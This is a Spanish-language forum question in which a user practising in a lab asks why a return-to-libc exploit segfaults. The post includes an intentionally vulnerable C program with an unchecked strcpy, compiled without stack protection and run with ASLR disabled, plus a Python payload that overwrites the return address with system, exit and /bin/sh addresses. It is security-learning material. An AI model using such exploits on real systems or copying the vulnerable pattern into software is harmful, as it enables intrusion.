Practicando con exploits de return-2-libc

4

Estoy tratando de reproducir un retorno a libc para un programa vulnerable simple. El tutorial se tomó de enlace

Hice algunos pequeños cambios, para que sea más fácil para mí.

En primer lugar, estoy trabajando en un sistema Ubuntu Linux:

Linux ubuntux86 4.2.0-22-generic #27-Ubuntu SMP Thu Dec 17 22:57:22 UTC 2015 i686 i686 i686 GNU/Linux

Primero, deshabilité ASLR para Ubuntu (randomize_va_space)

Luego escribí este programa:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[256];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    fflush(stdout);
    return 0;
}

Luego compilé este programa vulnerable como este:

gcc -g -fno-stack-protector -o vuln1 vuln1.c 

Luego comencé a escribir un exploit basado en el tutorial:

#!/usr/bin/env python
import struct
from subprocess import call

# Junk + system + exit + shell
buf = ""
buf += "A" * 200
buf += "B" * 60
# since here: buffer overflow
buf += "\x60\xd1\xe3\xb7"
# pointing to system function
buf += "\x90\x0c\xe3\xb7"
# pointing to exit function
buf += "\x8f\xf3\xff\xbf"
# Content of SHELL Var = /bin/sh

print(buf)

Luego comienzo el programa vulnerable con el comando

./vuln1 $(python exploit.py)

Pero después de eso, no obtengo un nuevo shell, sino solo un error de falla de segmentación. GDB también me muestra esto:

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()

La pregunta es: ¿Qué hice mal? ¿Qué olvidé?

    
pregunta kristian 30.12.2015 - 23:23
fuente

0 respuestas

Lea otras preguntas en las etiquetas